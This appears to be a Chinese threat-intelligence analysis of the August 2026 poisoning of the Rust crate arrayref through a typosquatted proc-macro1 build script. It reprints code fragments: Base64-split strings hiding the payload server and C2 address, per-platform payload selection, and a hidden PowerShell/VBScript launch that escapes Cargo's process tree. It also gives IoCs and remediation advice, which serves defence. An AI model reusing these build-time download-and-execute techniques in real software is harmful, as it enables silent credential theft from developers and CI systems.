2.45亿次下载的Rust基石crate被投毒:一次编译,就是一次沦陷"

admin 2026-10-17 07:42:59 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

2.45亿次下载的Rust基石crate被投毒:一次编译,就是一次沦陷

原创

威胁情报中心
威胁情报中心

奇安信威胁情报中心

2026年8月21日 15:42
北京

在小说阅读器读本章

去阅读

供应链安全 · Rust

2.45亿次下载的Rust基石crate被投毒
一次编译,就是一次沦陷

2026年8月20日,arrayref维护者账号被盗,攻击者发布构建时恶意载荷。开发者甚至不需要运行程序,只要 cargo build 一次,恶意代码就已在本机执行。

· 供应链安全 · Rust · 2026

2026年8月20日,Rust生态遭遇了一次教科书级别的供应链攻击:热门基础库 arrayref 的维护者账号被盗,攻击者借此发布了一个被植入恶意依赖的新版本。与其他\"运行时触发\"的投毒不同,这次的恶意代码藏在构建脚本里——开发者甚至不需要运行自己的程序,只要执行一次 cargo build(乃至 cargo check、cargo test),恶意载荷就已经在本机落地执行了。

值得庆幸的是,从恶意版本发布到被crates.io删除,暴露窗口只有约86分钟,官方公告称未发现实际利用证据。但这起事件所展示的攻击手法组合拳——账号接管、typosquat仿冒、\"yank诱导升级\"、构建时执行——值得每一位依赖开源组件的开发者认真研究。

01 事件速览

2026年8月20日,crates.io 上的知名crate arrayref 发布了0.3.10版本。这个版本首次在crate十余年的历史上引入了一个真正的外部依赖:proc-macro1。这个名字与Rust宏生态的基石crate proc-macro2 仅一字之差,是一个彻头彻尾的仿冒品,其构建脚本会在编译期间从远程服务器下载并执行恶意二进制。

同一天,同一维护者账号(droundy)名下的另外两个crate也遭到同样手法的投毒:

受影响crate 恶意版本 在线时长
arrayref 0.3.10 约86分钟
internment 0.8.7 约90分钟
append-only-vec 0.1.9 约107分钟

Rust安全响应团队在接到报告后删除了这些恶意版本,同时移除了攻击者控制的六个crate(proc-macro1、proc-macro-en、aovine、arone、aronenao、tinymember),并恢复了被恶意yank掉的正常版本,锁定了涉事账号。官方明确表示:不认为原作者存在恶意行为,其计算机或凭证很可能已被攻陷。目前该事件没有修复版本(直接删除恶意版本即是处置),也没有分配CVE编号,对应RustSec公告为 RUSTSEC-2026-0260(arrayref)等。

02 攻击链复盘:四步环环相扣

图 | arrayref 构建时投毒攻击链全景

第一步:提前布置\"李鬼\"账号与仿冒crate

攻击并非临时起意。时间线显示,8月20日凌晨1:17,攻击者注册了GitHub账号 dtolney——与 proc-macro2 的真实作者David Tolnay(dtolnay)的用户名仅差一个字母的换位。8分钟后,同名crates.io账号注册完成。

随后在01:55,攻击者发布了 [email protected]:这是一个完全\"干净\"的诱饵版本,内容就是正版 proc-macro2 的机械改名副本,不包含任何恶意代码。这一步的目的是让该crate拥有发布历史,避免在后续审查中看起来像一个\"零记录的新包\"。

值得注意的是,基础设施的准备还要更早:arone 和 aronenao 这两个同样携带恶意构建脚本的crate,其最后版本在8月18日就已发布,说明整场战役的铺垫至少比主攻提前了两天。

第二步:接管维护者账号,注入恶意依赖

07:11,[email protected] 发布,恶意构建脚本正式上膛。4分钟后(07:15),被盗的 droundy 账号发布了 [email protected],整个投毒只是在 Cargo.toml 里加了一行:

[dependencies.proc-macro1]

version = \"1.0.107\"

arrayref 本身是一个只有四个宏的小crate,直到0.3.9都没有任何构建脚本和运行时依赖,其0.3.10的库源码也与正常版本完全一致——代码里没有任何地方引用 proc-macro1。但Cargo的构建机制决定了:只要清单里声明了非可选依赖,无论代码是否使用,Cargo都会拉取并构建它。而构建 proc-macro1,就意味着运行它的恶意 build.rs。

这个依赖声明还暗藏一个细节:version = \"1.0.107\" 是caret语义化版本范围,而 proc-macro1 一共只发布过1.0.106和1.0.107两个版本,因此该范围必然解析到恶意的1.0.107。

第三步:yank诱导——把用户\"赶\"向恶意版本

这是本次攻击中最精妙的社会工程环节。在发布0.3.10的同一分钟内(07:15:24至07:15:40),被盗账号以脚本化节奏(每约4秒一个)yank掉了 arrayref 的0.3.5至0.3.9全部旧版本。

crate被yank后,Cargo会对继续使用这些版本的项目打印\"请考虑升级到未被yank的版本\"警告。此时唯一\"正常\"的版本就是被投毒的0.3.10——开发者看到警告后的\"合理\"操作,恰好正中攻击者下怀。向RustSec提交公告的报告者正是这样中招的。

第四步:构建时执行,编译即沦陷

恶意代码位于 proc-macro1 的 build.rs 中。Rust构建脚本会在编译包本体之前被Cargo自动编译并运行,且没有任何feature开关或环境检查做前置守卫——只要平台受支持,每次构建必触发。也就是说,cargo build、cargo check、cargo test、cargo clippy、cargo doc 中的任何一条都足以引爆,触发权限等同于发起构建的用户:在开发机上是可以触达SSH私钥、云凭证、浏览器数据的用户会话;在CI里则是持有registry token、签名物料和云角色的runner。

03 恶意 build.rs 技术拆解

图 | proc-macro1 恶意 build.rs 构建时执行流程

伪装:一个\"能用\"的假货

proc-macro1 的 src/ 目录就是正版 proc-macro2 的源码逐字替换改名的产物,连文档链接和issue引用都没放过(例如 html\_root\_url 指向 docs.rs/proc-macro1/1.0.107)。包元数据则伪造了作者身份:authors = [\"David Tolnay rchaitm@gmail.com\"](该邮箱并非David Tolnay本人),仓库地址指向一个不存在的 dtolnay/proc-macro1(404)。

因为库代码是真的,编译一切正常,构建输出里看不到任何异常——这让恶意crate在普通构建中极不显眼。真正的破绽藏在构建依赖里:一个token解析库,却引入了 base64、rustls、ureq 三个build-dependencies,分别提供Base64解码、TLS栈和HTTP客户端。正版 proc-macro2 没有任何构建依赖。

载荷投递流程

构建脚本将服务器地址拆成Base64碎片存储,在编译时重组,使明文字符串不出现在源码中,以规避字符串扫描:

const SRC\_URL\_PARTS: &[&str] = &[\"aHR0cHM6Ly8=\", \"MjMuMjU0Lg==\", \"MTY1Lg==\", \"MTEyOg==\", \"OTA4OS8=\"];

const END\_URL\_PARTS: &[&str] = &[\"MjMuMjU0Lg==\", \"MTY1Lg==\", \"MTEyOg==\", \"NDQz\"];

解码后,前者是载荷下载地址 hxxps://23[.]254[.]165[.]112:9089/,后者是作为参数传给载荷的C2地址 23[.]254[.]165[.]112:443。

下载使用rustls建立TLS连接,但实现了一个名为 AcceptAll 的证书校验器,其 verify\_server\_cert、verify\_tls12\_signature、verify\_tls13\_signature 三个校验方法全部无条件返回成功——连接是加密的,但服务器身份验证形同虚设,裸IP上的自签名证书也能通过。

随后脚本按操作系统和架构四选一投递二阶段载荷,不支持的平台则直接panic中止构建:

match (std::env::consts::OS, std::env::consts::ARCH) {

(\"linux\", \"x86\_64\") => \"rust-crate\_0.1.0\",

(\"windows\", \"x86\_64\") => \"rust-crate\_0.2.0\",

(\"macos\", \"x86\_64\") => \"rust-crate\_0.3.0\",

(\"macos\", \"aarch64\") => \"rust-crate\_0.4.0\",

(\, \) => panic!(\"unsupported platform\"),

}

进程分离:不让Cargo等它

Unix/macOS:载荷写入 /tmp/rust-setup,chmod +x 后以分离进程方式启动,C2地址作为第一个参数(argv[1])传入,标准输入输出全部重定向到null,构建脚本spawn后不等待。

Windows:下载的字节是一个PowerShell脚本,写入 %TEMP%\rust-setup.ps1,再通过一个VBScript启动器(%TEMP%\rust-setup-launch.vbs)以 wscript.exe 隐藏窗口方式拉起,PowerShell参数包含 -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden。源码注释明确解释了为什么要绕道WScript:ShellExecute经由WScript可以逃离Cargo的job object,否则子进程会让构建脚本(以及 cargo build)一直等待其退出。最后用 std::mem::forget 泄漏wscript子进程句柄,使其析构函数永不运行。两步配合,让载荷彻底脱离Cargo进程树,构建结束后继续存活。

二阶段载荷能力

据Wiz等机构的后续分析,二阶段载荷是一台典型的信息窃取器(infostealer):收集主机信息,查询Chrome、Brave、Edge的SQLite登录数据库以窃取浏览器保存的凭证和扩展数据;通过Windows注册表Run键、macOS LaunchAgent、Linux systemd服务建立持久化;支持远程命令执行,并带有DGA(域名生成算法)回退机制。Wiz还指出其基础设施与近期疑似朝鲜(DPRK)背景的供应链活动(涉及Mastra、axios等事件)存在显著重叠,但未给出确定性归因。

04 影响面有多大?

arrayref 的历史总下载量约2.45亿次(发稿时244,989,384次),其中干净的0.3.9约占1.52亿次——需要强调的是,这些数字衡量的是crate的使用广度,而非受影响构建的数量。

更关键的是它在依赖图中的位置:arrayref 经由 tiny-skia、sctk-adwaita、winit 深埋在常见Rust依赖树中,绝大多数基于 egui、eframe、iced 的GUI项目都会间接依赖它,密码学、图形、区块链工具链中也广泛使用。这意味着攻击者选择的不是一个\"热门应用\",而是一个\"基础设施级\"的传递依赖节点——多数受害者甚至不知道自己的项目里有它。

图 | arrayref 依赖链影响面

不过从处置结果看,三个恶意版本在线时间均不足两小时,RustSec公告记录为\"无实际使用证据\"。另据第三方报道,恶意的 arrayref 0.3.10 在存续期间被下载了53次。

05 处置与自查建议

1. 检查锁文件与本地缓存:在所有仓库的 Cargo.lock 中搜索 arrayref 0.3.10、internment 0.8.7、append-only-vec 0.1.9 及六个攻击者crate名;本地检查 ~/.cargo/registry/cache 中是否存在对应的 .crate 文件。

2. 将命中的主机视为已沦陷:因为载荷在构建时执行,任何构建过受影响项目的开发机或CI runner都应按沦陷处理——轮换该主机可触达的一切凭证、token、密钥(含CI secret和签名密钥),并从干净来源重新构建暴露窗口后产出的所有构建产物。

3. 重置浏览器存储的凭证:载荷会读取Chrome/Brave/Edge的已保存登录信息,需重置相关密码并吊销会话。

4. 清除载荷与持久化痕迹:删除 /tmp/rust-setup、%TEMP%\rust-setup.ps1、%TEMP%\rust-setup-launch.vbs,排查可疑的systemd用户服务、HKCU Run项和LaunchAgent。

5. 警惕\"yank诱导\":一个长期稳定的crate突然批量yank多个旧版本,本身就是值得调查的信号,不要盲目按警告升级。

6. 审查构建依赖变更:构建脚本以完整用户权限运行,任何新增或变更的 build-dependencies——尤其是 ureq、reqwest、rustls 这类网络库出现在没有联网理由的crate中——都应触发告警。

06 技术附录

MITRE ATT&CK 技术映射

战术 技术ID 技术名称 事件中的体现
初始访问 T1195.001 供应链投毒:软件依赖与工具 接管维护者账号发布投毒版本;typosquat仿冒 proc-macro2
初始访问 T1078 有效账户 盗用crates.io维护者账号droundy发布恶意版本
执行 T1059.001 PowerShell Windows平台投递并执行 .ps1 载荷
执行 T1059.005 Visual Basic 通过VBScript启动器经wscript.exe拉起PowerShell
执行 T1059.004 Unix Shell Unix平台落地 /tmp/rust-setup 并chmod执行
执行 T1127 受信任的开发工具代理执行 滥用Cargo构建脚本(build.rs)机制在编译期执行恶意代码
持久化 T1547.001 注册表Run键/启动文件夹 Windows端通过Run键持久化(二阶段)
持久化 T1543.001 创建或修改系统进程:Launch Agent macOS端持久化(二阶段)
持久化 T1543.002 创建或修改系统进程:Systemd服务 Linux端注册systemd服务重启载荷(二阶段)
防御规避 T1027 混淆文件或信息 C2地址拆分为Base64碎片,编译时重组
防御规避 T1036 伪装 crate名仿冒(proc-macro1/dtolney);载荷伪装为\"rust-setup\"、\"rust-crate\"
防御规避 T1553.004 破坏信任控制:安装根证书(旁类) 自定义AcceptAll证书校验器,完全禁用TLS服务器身份验证
凭证访问 T1555.003 从Web浏览器窃取凭证 查询Chrome/Brave/Edge的SQLite登录数据库
发现 T1082 系统信息发现 二阶段载荷收集主机信息
收集 T1005 本地系统数据 收集浏览器保存的登录信息与扩展数据
命令控制 T1071.001 应用层协议:Web协议 通过HTTPS(443)与C2通信
命令控制 T1573 加密通道 C2通信使用TLS加密
命令控制 T1568.002 动态解析:域名生成算法 二阶段载荷带DGA回退机制
资源开发 T1583.001 获取基础设施:域名/账号 注册仿冒GitHub/crates.io账号,租用Hostwinds VPS
资源开发 T1608.001 安置能力:上传恶意软件 预先发布诱饵版本及多个恶意依赖crate

失陷指标(IoC)

网络指标

类型 指标 说明
IPv4 23.254.165.112:9089 载荷下载服务器(HTTPS,接受任意证书)
IPv4 23.254.165.112:443 C2地址,作为argv[1]传给载荷
IPv4 23.254.167.107 第三方报告的额外C2
IPv4 23.254.167.216 受感染Linux主机上观察到的二阶段C2
域名 hwsrv-798836.hostwindsdns.com Hostwinds VPS主机名
网段 23.254.165.0/24 、23.254.167.0/24 均属Hostwinds地址段,建议按整段关注

文件指标

平台 路径/名称 说明
Unix/macOS /tmp/rust-setup 构建时落地的可执行载荷
Windows %TEMP%\rust-setup.ps1 下载的PowerShell脚本
Windows %TEMP%\rust-setup-launch.vbs VBScript启动器
服务端 rust-crate\_0.1.0 / \_0.2.0 / \_0.3.0 / \_0.4.0 按OS与架构选择的二阶段载荷文件名
Linux(二阶段) $HOME/.config/AzureKit 、$HOME/.config/ServiceKit 受感染主机上创建的目录
Linux(二阶段) MonoService 、MonoXpc 二阶段可执行文件名及对应systemd服务

恶意crate及SHA256

制品 SHA256
arrayref 0.3.10 25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae
proc-macro1 1.0.107 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
proc-macro1 1.0.106 b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436

被删除的恶意crate(全部版本):arrayref 0.3.10、internment 0.8.7、append-only-vec 0.1.9(账号被盗投毒);proc-macro1、proc-macro-en、aovine、arone、aronenao、tinymember(攻击者自有)。

其他指标:伪造作者邮箱 [email protected];仿冒账号 dtolney(crates.io用户ID 438608)。

特别说明:正版 proc-macro2 未受任何影响,切勿误伤。

参考链接

  • https://safedep.io/arrayref-proc-macro1-rust-build-time-malware
  • https://www.stepsecurity.io/blog/arrayref-rust-crate-supply-chain-attack
  • https://www.wiz.io/blog/rust-supply-chain-attack-on-arrayref-significant-overlap-with-dprk-campaigns
  • https://www.aikido.dev/blog/two-popular-rust-crates-arrayref-and-append-only-vec-compromised-in-supply-chain-attack
  • https://tuxcare.com/blog/rust-attack-arrayref/
  • https://thehackernews.com/2026/08/rust-supply-chain-attack-puts-build.html
  • https://www.bleepingcomputer.com/news/security/hackers-poison-arrayref-rust-crate-to-push-infostealer-malware/
  • https://github.com/rustsec/advisory-db

产教融合聚力,共研网安育人新模式--网安专业一流课程建设研讨会顺利举办" 网络安全文章

产教融合聚力,共研网安育人新模式--网安专业一流课程建设研讨会顺利举办"

广东警官学院与锦行科技联合举办AI时代网安课程建设研讨会。会议指出高校网安教学面临实战匮乏与AI内容脱节等挑战,广警分享了Web渗透测试教战一体化经验,锦行科技提出技术思维实战三位一体培养体系并展示天穹靶场平台,强调校企合作对培养复合型网安人才的作用。
每周高级威胁情报解读(2026.08.14~08.20)" 网络安全文章

每周高级威胁情报解读(2026.08.14~08.20)"

本周威胁情报聚焦多个APT组织与攻击事件。PurpleDelta以虚假身份渗透西方企业,APT36使用新恶意软件攻击南亚基础设施,Clop利用PTCWindchill漏洞发起定向勒索。恶意代码方面,TWINLOOT利用Microsoft365隐藏C2,KBBackdoor将域名编码于desktop.ini空白符中。建议企业加强供应链人员审查,监控云服务异常流量,并及时修补高危漏洞。
评论:0   参与:  0